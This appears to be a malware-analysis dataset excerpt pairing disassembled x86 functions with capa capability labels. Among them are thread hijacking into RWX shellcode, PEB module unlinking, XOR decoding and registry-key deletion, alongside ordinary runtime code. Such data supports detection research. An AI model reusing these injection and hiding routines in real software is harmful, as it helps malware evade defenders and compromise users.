joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10014050
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1001a466
mov eax, dword fs:[0]
push eax
sub esp, 0x654
mov eax, dword [0x10025018]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov eax, dword [ebp + 8]
mov dx, word [0x100204cc]
mov dword [ebp - 0x65c], eax
lea eax, [ebp - 0x620]
mov esi, ecx
mov ecx, dword [0x100204c8]
push eax
push 0x3ff
mov dword [ebp - 0x660], esi
mov dword [ebp - 0x18], ecx
mov word [ebp - 0x14], dx
call dword [sym.imp.KERNEL32.dll_GetLogicalDriveStringsW]
test eax, eax
je 0x10014278
lea ebx, [ebp - 0x620]
xor edi, edi
jmp 0x100140d0
mov cx, word [ebx]
push 0x104
lea edx, [ebp - 0x220]
push edx
lea eax, [ebp - 0x18]
push eax
mov word [ebp - 0x18], cx
call dword [sym.imp.KERNEL32.dll_QueryDosDeviceW]
test eax, eax
je 0x10014186
xor ecx, ecx
mov eax, esi
mov dword [ebp - 0x628], 7
mov dword [ebp - 0x62c], edi
mov word [ebp - 0x63c], cx
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
cmp cx, di
jne 0x10014113
sub eax, edx
sar eax, 1
push eax
mov eax, esi
lea ecx, [ebp - 0x63c]
call fcn.10016f20
lea eax, [ebp - 0x220]
mov dword [ebp - 4], edi
lea edx, [eax + 2]
lea esp, [esp]
mov cx, word [eax]
add eax, 2
cmp cx, di
jne 0x10014140
sub eax, edx
sar eax, 1
push eax
lea edx, [ebp - 0x220]
push edx
lea eax, [ebp - 0x63c]
push eax
call fcn.100162f0
mov esi, eax
cmp esi, 0xffffffff
jne 0x100141a5
mov dword [ebp - 4], eax
cmp dword [ebp - 0x628], 8
jb 0x10014186
mov ecx, dword [ebp - 0x63c]
push ecx
call dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete_void__]
add esp, 4
mov dx, word [ebx]
add ebx, 2
test dx, dx
jne 0x10014186
cmp word [ebx], di
je 0x10014278
mov esi, dword [ebp - 0x660]
jmp 0x100140d0
xor eax, eax
mov word [ebp - 0x658], ax
lea eax, [ebp - 0x220]
mov dword [ebp - 0x644], 7
mov dword [ebp - 0x648], edi
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
cmp cx, di
jne 0x100141c7
sub eax, edx
sar eax, 1
push eax
lea eax, [ebp - 0x220]
lea ecx, [ebp - 0x658]
call fcn.10016f20
mov eax, ebx
mov byte [ebp - 4], 1
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
cmp cx, di
jne 0x100141f1
sub eax, edx
sar eax, 1
push eax
mov eax, dword [ebp - 0x648]
push ebx
inc eax
push esi
lea ecx, [ebp - 0x63c]
call fcn.10016160
mov esi, 8
cmp dword [ebp - 0x644], esi
jb 0x10014232
mov ecx, dword [ebp - 0x658]
push ecx
call dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete_void__]
add esp, 4
mov eax, dword [ebp - 0x63c]
cmp dword [ebp - 0x628], esi
jae 0x10014246
lea eax, [ebp - 0x63c]
mov edx, dword [ebp - 0x65c]
push eax
push 0x104
push edx
call dword [sym.imp.MSVCR100.dll_wcscpy_s]
add esp, 0xc
cmp dword [ebp - 0x628], esi
jb 0x10014274
mov eax, dword [ebp - 0x63c]
push eax
call dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete_void__]
add esp, 4
mov al, 1
jmp 0x1001427a
xor al, al
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.10019286
mov esp, ebp
pop ebp
ret
Function at 0x10014390
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
push 0x100
push 0
push 0x11183098
mov ebx, eax
call sub.MSVCR100.dll_memset
add esp, 0xc
xor eax, eax
nop
mov cl, byte [eax + 0x1001f050]
sub cl, 0x1b
xor cl, 0xc
mov byte [eax + 0x11183098], cl
inc eax
cmp eax, 0x100
jb 0x100143b0
mov edx, dword [ebp + 0xc]
mov eax, dword [ebp + 8]
push edx
push 1
push eax
push 0x11183098
push 0
mov ecx, 0x10125568
call fcn.1000b500
mov eax, dword [0x1012f41c]
mov esi, dword [sym.imp.USER32.dll_SendMessageA]
add esp, 0x14
test eax, eax
je 0x10014422
push 0
push 0
push 0x10
push eax
call esi
mov ecx, dword [0x11182a24]
mov edx, dword [0x1012f434]
mov edi, dword [sym.imp.USER32.dll_UnregisterClassA]
push ecx
push edx
mov dword [0x1012f41c], 0
call edi
jmp 0x10014428
mov edi, dword [sym.imp.USER32.dll_UnregisterClassA]
mov eax, dword [0x1012f544]
test eax, eax
je 0x10014453
push 0
push 0
push 0x10
push eax
call esi
mov eax, dword [0x11182a24]
mov ecx, dword [0x1012f55c]
push eax
push ecx
mov dword [0x1012f544], 0
call edi
mov eax, dword [0x1012f66c]
test eax, eax
je 0x1001447e
push 0
push 0
push 0x10
push eax
call esi
mov edx, dword [0x11182a24]
mov eax, dword [0x1012f684]
push edx
push eax
mov dword [0x1012f66c], 0
call edi
mov eax, dword [ebp + 8]
sub eax, 0
je 0x100144a2
dec eax
je 0x10014496
dec eax
jne 0x100144ae
lea ecx, [eax + 0x6a]
mov eax, 0x2b2bb9
jmp 0x100144b4
mov ecx, 0x69
mov eax, 0x116896
jmp 0x100144b4
mov ecx, 0x67
mov eax, 0x9ca476
jmp 0x100144b4
mov ecx, dword [ebp + 8]
mov eax, dword [ebp + 8]
mov edx, dword [ebp + 0xc]
push eax
push edx
call fcn.10012fc0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
push 0
mov ecx, ebx
mov edi, 0x100142f0
mov dword [ebx + 8], eax
call fcn.10015f30
mov eax, dword [ebx + 8]
push 0xffffffffffffffff
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov ecx, dword [ebx + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x1388
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [ebx + 4]
test eax, eax
je 0x10014526
push 0
push 0
push 0x10
push eax
call esi
mov edx, dword [0x11182a24]
mov eax, dword [ebx + 0x1c]
push edx
push eax
mov dword [ebx + 4], 0
call dword [sym.imp.USER32.dll_UnregisterClassA]
call fcn.10015ef0
pop edi
pop esi
pop ebx
pop ecx
pop ebp
ret
Function at 0x10015c90
Capabilities:
Encode data using xor

Disassembly:
push esi
push 0x100
push 0
push 0x11183098
mov esi, eax
call sub.MSVCR100.dll_memset
add esp, 0xc
xor eax, eax
shl esi, 8
lea ecx, [esi + 0x1001c650]
pop esi
mov dl, byte [ecx + eax]
sub dl, 0x1b
xor dl, 0xc
mov byte [eax + 0x11183098], dl
inc eax
cmp eax, 0x100
jb 0x10015cb3
mov eax, 0x11183098
ret

Function at 0x10015f30
Capabilities:
Allocate or change rwx memory
Create thread
Encode data using xor
Hijack thread execution
Resume thread
Spawn thread to rwx shellcode
Suspend thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2f8
mov eax, dword [0x10025018]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov ebx, ecx
mov dword [ebp - 0x2f4], eax
push esi
mov ecx, 0xd6
xor eax, eax
mov dl, byte [eax + 0x100206e0]
xor dl, cl
inc ecx
mov byte [ebp + eax - 0x18], dl
inc eax
and ecx, 0xff
cmp eax, 0x12
jb 0x10015f57
lea eax, [ebp - 0x18]
push eax
mov ecx, 0x3f668b87
lea eax, [ebp - 0x24]
mov byte [ebp - 6], 0
call fcn.10016900
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
call dword [sym.imp.MSVCR100.dll_rand]
mov esi, eax
and esi, 0x80000fff
jns 0x10015fab
dec esi
or esi, 0xfffff000
inc esi
lea ecx, [ebp - 0x2f8]
push ecx
push 0x40
push 0x100
add esi, 0x488889
push esi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov edx, dword [ebp - 0x2f4]
push edx
push 0
push ebx
push esi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov esi, eax
push esi
call dword [sym.imp.KERNEL32.dll_SuspendThread]
lea eax, [ebp - 0x2f0]
push eax
mov ebx, 0x10002
push esi
mov dword [ebp - 0x2f0], ebx
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
lea ecx, [ebp - 0x2f0]
push ecx
push esi
mov dword [ebp - 0x240], edi
mov dword [ebp - 0x2f0], ebx
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
push esi
call dword [sym.imp.KERNEL32.dll_ResumeThread]
mov ecx, dword [ebp - 4]
mov eax, esi
pop esi
xor ecx, ebp
pop ebx
call fcn.10019286
mov esp, ebp
pop ebp
ret 4
Function at 0x10016040
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
nop
nop
nop
nop
nop
mov dword [ebp - 4], 0
nop
nop
nop
nop
nop
pushal
pushfd
nop
nop
nop
nop
nop
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov dword [ebp - 4], eax
mov esi, dword [eax + 0xc]
mov edx, dword [eax + 0x10]
lodsd eax, dword [esi]
mov esi, eax
mov ecx, dword [eax + 0x18]
cmp ecx, dword [ebp + 8]
jne 0x10016088
mov ebx, dword [eax]
mov ecx, dword [eax + 4]
mov dword [ecx], ebx
mov dword [ebx + 4], ecx
jmp 0x1001608c
cmp edx, esi
jne 0x10016071
mov eax, dword [ebp - 4]
mov esi, dword [eax + 0x14]
mov edx, dword [eax + 0x18]
lodsd eax, dword [esi]
mov esi, eax
mov ecx, dword [eax + 0x10]
cmp ecx, dword [ebp + 8]
jne 0x100160ac
mov ebx, dword [eax]
mov ecx, dword [eax + 4]
mov dword [ecx], ebx
mov dword [ebx + 4], ecx
jmp 0x100160b0
cmp edx, esi
jne 0x10016095
mov eax, dword [ebp - 4]
mov esi, dword [eax + 0x1c]
mov edx, dword [eax + 0x20]
lodsd eax, dword [esi]
mov esi, eax
mov ecx, dword [eax + 8]
cmp ecx, dword [ebp + 8]
jne 0x100160d0
mov ebx, dword [eax]
mov ecx, dword [eax + 4]
mov dword [ecx], ebx
mov dword [ebx + 4], ecx
jmp 0x100160d4
cmp edx, esi
jne 0x100160b9
popfd
popal
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x10017060
Capabilities:
Delete registry key

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
mov esi, dword [0x1012553c]
push edi
cmp esi, dword [0x10125540]
je 0x1001712e
mov edi, dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
nop
cmp byte [esi], 2
jne 0x1001709e
lea eax, [ebp - 4]
push eax
lea ecx, [esi + 1]
push ecx
xor ebx, ebx
push closesocket
mov dword [ebp - 4], ebx
call edi
cmp dword [ebp - 4], ebx
jne 0x100170b3
add esi, 0x105
cmp esi, dword [0x10125540]
jne 0x10017080
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov ecx, dword [0x10125540]
mov esi, dword [0x1012553c]
sub ecx, esi
mov eax, 0x7d8c42b3
imul ecx
sar edx, 7
mov eax, edx
shr eax, 0x1f
add eax, edx
je 0x10017116
xor edi, edi
cmp byte [edi + esi], 2
jne 0x100170f2
lea ecx, [edi + esi + 1]
push ecx
push closesocket
call dword [sym.imp.SHLWAPI.dll_SHDeleteKeyA]
mov esi, dword [0x1012553c]
mov ecx, dword [0x10125540]
sub ecx, esi
mov eax, 0x7d8c42b3
imul ecx
sar edx, 7
mov eax, edx
shr eax, 0x1f
inc ebx
add eax, edx
add edi, 0x105
cmp ebx, eax
jb 0x100170d6
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 0
push 6
xor ecx, ecx
call fcn.10002ba0
add esp, 8
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10017360
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [ebp + 0xc]
sub eax, 0x10000
push eax
call fcn.10017500
add esp, 4
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 4]
cmp ecx, dword [ebp + 8]
jbe 0x10017424
cmp dword [ebp - 4], 0x50000000
jb 0x100173a1
cmp dword [ebp - 4], 0x80000000
ja 0x100173a1
mov dword [ebp - 4], 0x4fff0000
jmp 0x1001737a
push 0x1c
push 0
lea edx, [ebp - 0x24]
push edx
call sub.MSVCR100.dll_memset
add esp, 0xc
push 0x1c
lea eax, [ebp - 0x24]
push eax
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
test eax, eax
jne 0x100173c7
jmp 0x10017424
cmp dword [ebp - 0x14], 0x10000
jne 0x1001740a
cmp dword [ebp - 0x18], 0x10000
jb 0x1001740a
push 0x40
push 0x3000
push 0x10000
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x100173fd
mov eax, dword [ebp - 8]
jmp 0x10017426
mov eax, dword [ebp - 4]
sub eax, 0x10000
mov dword [ebp - 4], eax
jmp 0x1001741f
mov ecx, dword [ebp - 0x20]
sub ecx, 0x10000
push ecx
call fcn.10017500
add esp, 4
mov dword [ebp - 4], eax
jmp 0x1001737a
xor eax, eax
mov esp, ebp
pop ebp
ret

Function at 0x10017430
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [ebp + 8]
push eax
call fcn.10017530
add esp, 4
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 4]
cmp ecx, dword [ebp + 0xc]
jae 0x100174ec
cmp dword [ebp - 4], 0x50000000
jb 0x1001746c
cmp dword [ebp - 4], 0x80000000
ja 0x1001746c
mov dword [ebp - 4], 0x80010000
jmp 0x10017445
push 0x1c
push 0
lea edx, [ebp - 0x24]
push edx
call sub.MSVCR100.dll_memset
add esp, 0xc
push 0x1c
lea eax, [ebp - 0x24]
push eax
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
test eax, eax
jne 0x10017492
jmp 0x100174ec
cmp dword [ebp - 0x14], 0x10000
jne 0x100174d5
cmp dword [ebp - 0x18], 0x10000
jb 0x100174d5
push 0x40
push 0x3000
push 0x10000
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x100174c8
mov eax, dword [ebp - 8]
jmp 0x100174ee
mov eax, dword [ebp - 4]
add eax, 0x10000
mov dword [ebp - 4], eax
jmp 0x100174e7
mov ecx, dword [ebp - 0x24]
add ecx, dword [ebp - 0x18]
push ecx
call fcn.10017530
add esp, 4
mov dword [ebp - 4], eax
jmp 0x10017445
xor eax, eax
mov esp, ebp
pop ebp
ret
Function at 0x10017c60
Capabilities:
Hook routines via microsoft detours

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov eax, dword [ebp + 8]
cmp dword [eax], 0x52727464
je 0x10017c75
xor eax, eax
jmp 0x10017cea
mov ecx, dword [ebp + 8]
mov dword [ebp - 0xc], ecx
mov edx, dword [ebp - 0xc]
add edx, 0x10000
mov dword [ebp - 0x10], edx
mov eax, dword [ebp + 8]
add eax, 0x48
mov dword [ebp - 8], eax
mov dword [ebp - 4], 0
jmp 0x10017ca2
mov ecx, dword [ebp - 4]
add ecx, 1
mov dword [ebp - 4], ecx
cmp dword [ebp - 4], 0x38d
jae 0x10017ce5
mov edx, dword [ebp - 4]
imul edx, edx, 0x48
mov eax, dword [ebp - 8]
cmp dword [eax + edx + 0x40], 0
je 0x10017ce3
mov ecx, dword [ebp - 4]
imul ecx, ecx, 0x48
mov edx, dword [ebp - 8]
mov eax, dword [edx + ecx + 0x40]
cmp eax, dword [ebp - 0xc]
jb 0x10017cdf
mov ecx, dword [ebp - 4]
imul ecx, ecx, 0x48
mov edx, dword [ebp - 8]
mov eax, dword [edx + ecx + 0x40]
cmp eax, dword [ebp - 0x10]
jb 0x10017ce3
xor eax, eax
jmp 0x10017cea
jmp 0x10017c99
mov eax, 1
mov esp, ebp
pop ebp
ret

Function at 0x10017eb0
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [0x1012fab8]
mov dword [ebp - 4], eax
jmp 0x10017ec9
mov ecx, dword [ebp - 4]
mov edx, dword [ecx + 4]
mov dword [ebp - 4], edx
cmp dword [ebp - 4], 0
je 0x10017ee6
lea eax, [ebp - 8]
push eax
push 0x40
push 0x10000
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
jmp 0x10017ec0
mov esp, ebp
pop ebp
ret
Function at 0x10018330
Capabilities:
Resume thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
cmp dword [0x1012fac8], eax
je 0x1001834e
mov eax, 0x10dd
jmp 0x1001842f
mov eax, dword [0x1012fad8]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x100183cc
lea ecx, [ebp - 0x1c]
push ecx
mov edx, dword [ebp - 4]
mov eax, dword [edx + 0x14]
push eax
mov ecx, dword [ebp - 4]
mov edx, dword [ecx + 0x10]
movzx eax, byte [edx + 0x36]
push eax
mov ecx, dword [ebp - 4]
mov edx, dword [ecx + 0xc]
push edx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov eax, dword [ebp - 4]
cmp dword [eax + 4], 0
jne 0x100183aa
mov ecx, dword [ebp - 4]
cmp dword [ecx + 0x10], 0
je 0x100183aa
mov edx, dword [ebp - 4]
mov eax, dword [edx + 0x10]
push eax
call fcn.100179d0
add esp, 4
mov ecx, dword [ebp - 4]
mov dword [ecx + 0x10], 0
mov edx, dword [ebp - 4]
mov eax, dword [edx]
mov dword [ebp - 0x10], eax
mov ecx, dword [ebp - 4]
mov dword [ebp - 0xc], ecx
mov edx, dword [ebp - 0xc]
push edx
call sub.MSVCR100.dll_void___cdecl_operator_delete_void__
add esp, 4
mov eax, dword [ebp - 0x10]
mov dword [ebp - 4], eax
jmp 0x10018356
mov dword [0x1012fad8], 0
call fcn.10017cf0
mov ecx, dword [0x1012fad4]
mov dword [ebp - 8], ecx
cmp dword [ebp - 8], 0
je 0x10018419
mov edx, dword [ebp - 8]
mov eax, dword [edx + 4]
push eax
call dword [sym.imp.KERNEL32.dll_ResumeThread]
mov ecx, dword [ebp - 8]
mov edx, dword [ecx]
mov dword [ebp - 0x18], edx
mov eax, dword [ebp - 8]
mov dword [ebp - 0x14], eax
mov ecx, dword [ebp - 0x14]
push ecx
call sub.MSVCR100.dll_void___cdecl_operator_delete_void__
add esp, 4
mov edx, dword [ebp - 0x18]
mov dword [ebp - 8], edx
jmp 0x100183e4
mov dword [0x1012fad4], 0
mov dword [0x1012fac8], 0
xor eax, eax
mov esp, ebp
pop ebp
ret
Function at 0x10018920
Capabilities:
Suspend thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
cmp dword [0x1012facc], 0
je 0x10018939
mov eax, dword [0x1012facc]
jmp 0x100189d9
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
cmp dword [ebp + 8], eax
jne 0x1001894b
xor eax, eax
jmp 0x100189d9
push 8
call fcn.1001939a
add esp, 4
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x100189a1
mov dword [ebp - 8], 8
cmp dword [ebp - 4], 0
je 0x1001898a
mov ecx, dword [ebp - 4]
mov dword [ebp - 0x10], ecx
mov edx, dword [ebp - 0x10]
push edx
call sub.MSVCR100.dll_void___cdecl_operator_delete_void__
add esp, 4
mov dword [ebp - 4], 0
mov eax, dword [ebp - 8]
mov dword [0x1012facc], eax
mov dword [0x1012fad0], 0
mov eax, dword [ebp - 8]
jmp 0x100189d9
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_SuspendThread]
cmp eax, 0xffffffff
jne 0x100189bb
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 8], eax
jmp 0x1001896b
mov edx, dword [ebp - 4]
mov eax, dword [ebp + 8]
mov dword [edx + 4], eax
mov ecx, dword [ebp - 4]
mov edx, dword [0x1012fad4]
mov dword [ecx], edx
mov eax, dword [ebp - 4]
mov dword [0x1012fad4], eax
xor eax, eax
mov esp, ebp
pop ebp
ret 4

Function at 0x10019286
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x10025018]
jne 0x10019290
repz ret
jmp fcn.100197c9
Function at 0x401010
Capabilities:
Parse pe header

Disassembly:
sub esp, 0x1c
xor eax, eax
cmp word [0x400000], 0x5a4d
mov dword [0x411a3c], 1
mov dword [0x411a38], 1
mov dword [0x411a34], 1
mov dword [0x411a2c], 1
jne 0x401060
mov edx, dword [0x40003c]
cmp dword [edx + 0x400000], 0x4550
lea ecx, [edx + 0x400000]
je 0x4010c0
mov dword [0x41100c], eax
mov eax, dword [0x411a48]
test eax, eax
jne 0x4010b0
mov dword [esp], 1
call sym.___set_app_type
call sym.___p__fmode
mov edx, dword [0x411a5c]
mov dword [eax], edx
call sym.___p__commode
mov edx, dword [0x411a44]
mov dword [eax], edx
call dbg._setargv
cmp dword [0x40c080], 1
je 0x4010f0
xor eax, eax
add esp, 0x1c
ret
mov dword [esp], 2
call sym.___set_app_type
jmp 0x40107a
movzx edx, word [ecx + 0x18]
cmp dx, 0x10b
je 0x401108
cmp dx, 0x20b
jne 0x401060
cmp dword [ecx + 0x84], 0xe
jbe 0x401060
mov edx, dword [ecx + 0xf8]
xor eax, eax
test edx, edx
setne al
jmp 0x401060
mov dword [esp], dbg._matherr
call dbg.__mingw_setusermatherr
xor eax, eax
add esp, 0x1c
ret
cmp dword [ecx + 0x74], 0xe
jbe 0x401060
mov ecx, dword [ecx + 0xe8]
xor eax, eax
test ecx, ecx
setne al
jmp 0x401060

Function at 0x401887
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ebx
sub esp, 0x24
mov dword [esp], 2
mov eax, dword [dbg.__acrt_iob_func]
call eax
mov edx, dword [ebp + 0x10]
mov dword [esp + 8], edx
mov dword [esp + 4], str.__s_
mov dword [esp], eax
call sym._fprintf
lea eax, [ebp + 0x18]
mov dword [ebp - 0xc], eax
mov ebx, dword [ebp - 0xc]
mov dword [esp], 2
mov eax, dword [dbg.__acrt_iob_func]
call eax
mov dword [esp + 8], ebx
mov edx, dword [ebp + 0x14]
mov dword [esp + 4], edx
mov dword [esp], eax
call dbg.vfprintf
mov dword [esp], 2
mov eax, dword [dbg.__acrt_iob_func]
call eax
mov dword [esp + 0xc], eax
mov dword [esp + 8], 2
mov dword [esp + 4], 1
mov dword [esp], 0x40d051
call sym._fwrite
nop
mov ebx, dword [ebp - 4]
leave
ret
Function at 0x4022c5
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
cmp dword [ebp + 0x14], 0
je 0x4022e3
mov eax, dword [ebp + 0x14]
mov eax, dword [eax]
test eax, eax
jne 0x4022e3
mov eax, dword [ebp + 0x14]
mov dword [eax], 0x800
cmp dword [ebp + 0x14], 0
je 0x4022f0
mov eax, dword [ebp + 0x14]
mov eax, dword [eax]
jmp 0x4022f5
mov eax, 0x800
mov dword [ebp - 0xc], eax
mov eax, dword [ebp + 0x18]
mov dword [eax], 0
lea eax, [ebp - 0x18]
mov dword [esp + 8], eax
mov eax, dword [ebp - 0xc]
mov dword [esp + 4], eax
mov eax, dword [ebp + 0xc]
mov dword [esp], eax
call dbg.iobuf_reserve
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
jne 0x40232d
mov eax, 0xfffffff8
jmp 0x4023e3
mov eax, dword [ebp - 0x18]
sub eax, dword [ebp + 0x10]
mov ecx, eax
mov edx, dword [ebp - 0x10]
mov eax, dword [ebp + 0x10]
add edx, eax
mov eax, dword [ebp + 8]
mov eax, dword [eax]
mov dword [esp + 0xc], 0
mov dword [esp + 8], ecx
mov dword [esp + 4], edx
mov dword [esp], eax
mov eax, dword [sym.imp.WS2_32.dll_recv]
call eax
sub esp, 0x10
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
jle 0x4023b8
mov edx, dword [ebp - 0x14]
mov eax, dword [ebp + 0x10]
add eax, edx
mov dword [esp + 4], eax
mov eax, dword [ebp + 0xc]
mov dword [esp], eax
call dbg.iobuf_commit
mov edx, dword [ebp - 0x14]
mov eax, dword [ebp + 0x18]
mov dword [eax], edx
mov eax, dword [ebp - 0x18]
sub eax, dword [ebp + 0x10]
mov edx, eax
mov eax, dword [ebp - 0x14]
cmp edx, eax
jne 0x4023b1
shl dword [ebp - 0xc], 1
cmp dword [ebp - 0xc], 0x4000
jbe 0x4023a9
mov dword [ebp - 0xc], 0x4000
mov eax, dword [ebp + 0x14]
mov edx, dword [ebp - 0xc]
mov dword [eax], edx
mov eax, 0
jmp 0x4023e3
cmp dword [ebp - 0x14], 0
jne 0x4023c5
mov eax, 0xfffffc18
jmp 0x4023e3
mov eax, dword [sym.imp.WS2_32.dll_WSAGetLastError]
call eax
cmp eax, 0x2733
jne 0x4023da
mov eax, 1
jmp 0x4023e3
mov eax, dword [sym.imp.WS2_32.dll_WSAGetLastError]
call eax
neg eax
leave
ret
Function at 0x4023e5
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
push ebx
sub esp, 0x24
mov eax, dword [ebp + 0x18]
mov dword [eax], 0
mov eax, dword [ebp + 0xc]
mov dword [esp], eax
call sym._iobuf_datalen_1
mov dword [ebp - 0xc], eax
cmp dword [ebp + 0x14], 0
je 0x402509
cmp dword [ebp - 0xc], 0
jne 0x4024d8
mov edx, dword [ebp + 0x14]
mov eax, dword [ebp + 8]
mov eax, dword [eax]
mov dword [esp + 0xc], 0
mov dword [esp + 8], edx
mov edx, dword [ebp + 0x10]
mov dword [esp + 4], edx
mov dword [esp], eax
mov eax, dword [sym.imp.WS2_32.dll_send]
call eax
sub esp, 0x10
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
jns 0x40246e
mov eax, dword [sym.imp.WS2_32.dll_WSAGetLastError]
call eax
cmp eax, 0x2733
je 0x402464
mov eax, dword [sym.imp.WS2_32.dll_WSAGetLastError]
call eax
neg eax
jmp 0x4025d9
mov eax, 1
jmp 0x4025d9
cmp dword [ebp - 0x10], 0
jne 0x40247e
mov eax, 0xfffffc18
jmp 0x4025d9
mov eax, dword [ebp - 0x10]
add dword [ebp + 0x10], eax
mov eax, dword [ebp - 0x10]
sub dword [ebp + 0x14], eax
mov edx, dword [ebp - 0x10]
mov eax, dword [ebp + 0x18]
mov dword [eax], edx
cmp dword [ebp + 0x14], 0
jne 0x4024d8
mov eax, dword [ebp + 8]
mov edx, dword [eax + 4]
mov eax, dword [ebp + 8]
mov eax, dword [eax]
mov dword [esp + 8], 0x21
mov dword [esp + 4], edx
mov dword [esp], eax
mov eax, dword [sym.imp.WS2_32.dll_WSAEventSelect]
call eax
sub esp, 0xc
test eax, eax
je 0x4024ce
mov eax, dword [sym.imp.WS2_32.dll_WSAGetLastError]
call eax
neg eax
jmp 0x4025d9
mov eax, 0
jmp 0x4025d9
mov eax, dword [ebp + 0x14]
mov dword [esp + 8], eax
mov eax, dword [ebp + 0x10]
mov dword [esp + 4], eax
mov eax, dword [ebp + 0xc]
mov dword [esp], eax
call dbg.iobuf_append
test eax, eax
jne 0x4024ff
mov eax, 0xfffffff8
jmp 0x4025d9
mov eax, 1
jmp 0x4025d9
cmp dword [ebp - 0xc], 0
jne 0x402519
mov eax, 0
jmp 0x4025d9
mov ebx, dword [ebp - 0xc]
mov eax, dword [ebp + 0xc]
mov dword [esp], eax
call sym._iobuf_dataptr_1
mov edx, dword [ebp + 8]
mov edx, dword [edx]
mov dword [esp + 0xc], 0
mov dword [esp + 8], ebx
mov dword [esp + 4], eax
mov dword [esp], edx
mov eax, dword [sym.imp.WS2_32.dll_send]
call eax
sub esp, 0x10
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
jns 0x402572
mov eax, dword [sym.imp.WS2_32.dll_WSAGetLastError]
call eax
cmp eax, 0x2733
je 0x40256b
mov eax, dword [sym.imp.WS2_32.dll_WSAGetLastError]
call eax
neg eax
jmp 0x4025d9
mov eax, 1
jmp 0x4025d9
cmp dword [ebp - 0x10], 0
jne 0x40257f
mov eax, 0xfffffc18
jmp 0x4025d9
mov eax, dword [ebp - 0x10]
mov dword [esp + 4], eax
mov eax, dword [ebp + 0xc]
mov dword [esp], eax
call dbg.iobuf_consume
mov edx, dword [ebp - 0x10]
mov eax, dword [ebp + 0x18]
mov dword [eax], edx
mov eax, dword [ebp - 0x10]
cmp dword [ebp - 0xc], eax
jne 0x4025d4
mov eax, dword [ebp + 8]
mov edx, dword [eax + 4]
mov eax, dword [ebp + 8]
mov eax, dword [eax]
mov dword [esp + 8], 0x21
mov dword [esp + 4], edx
mov dword [esp], eax
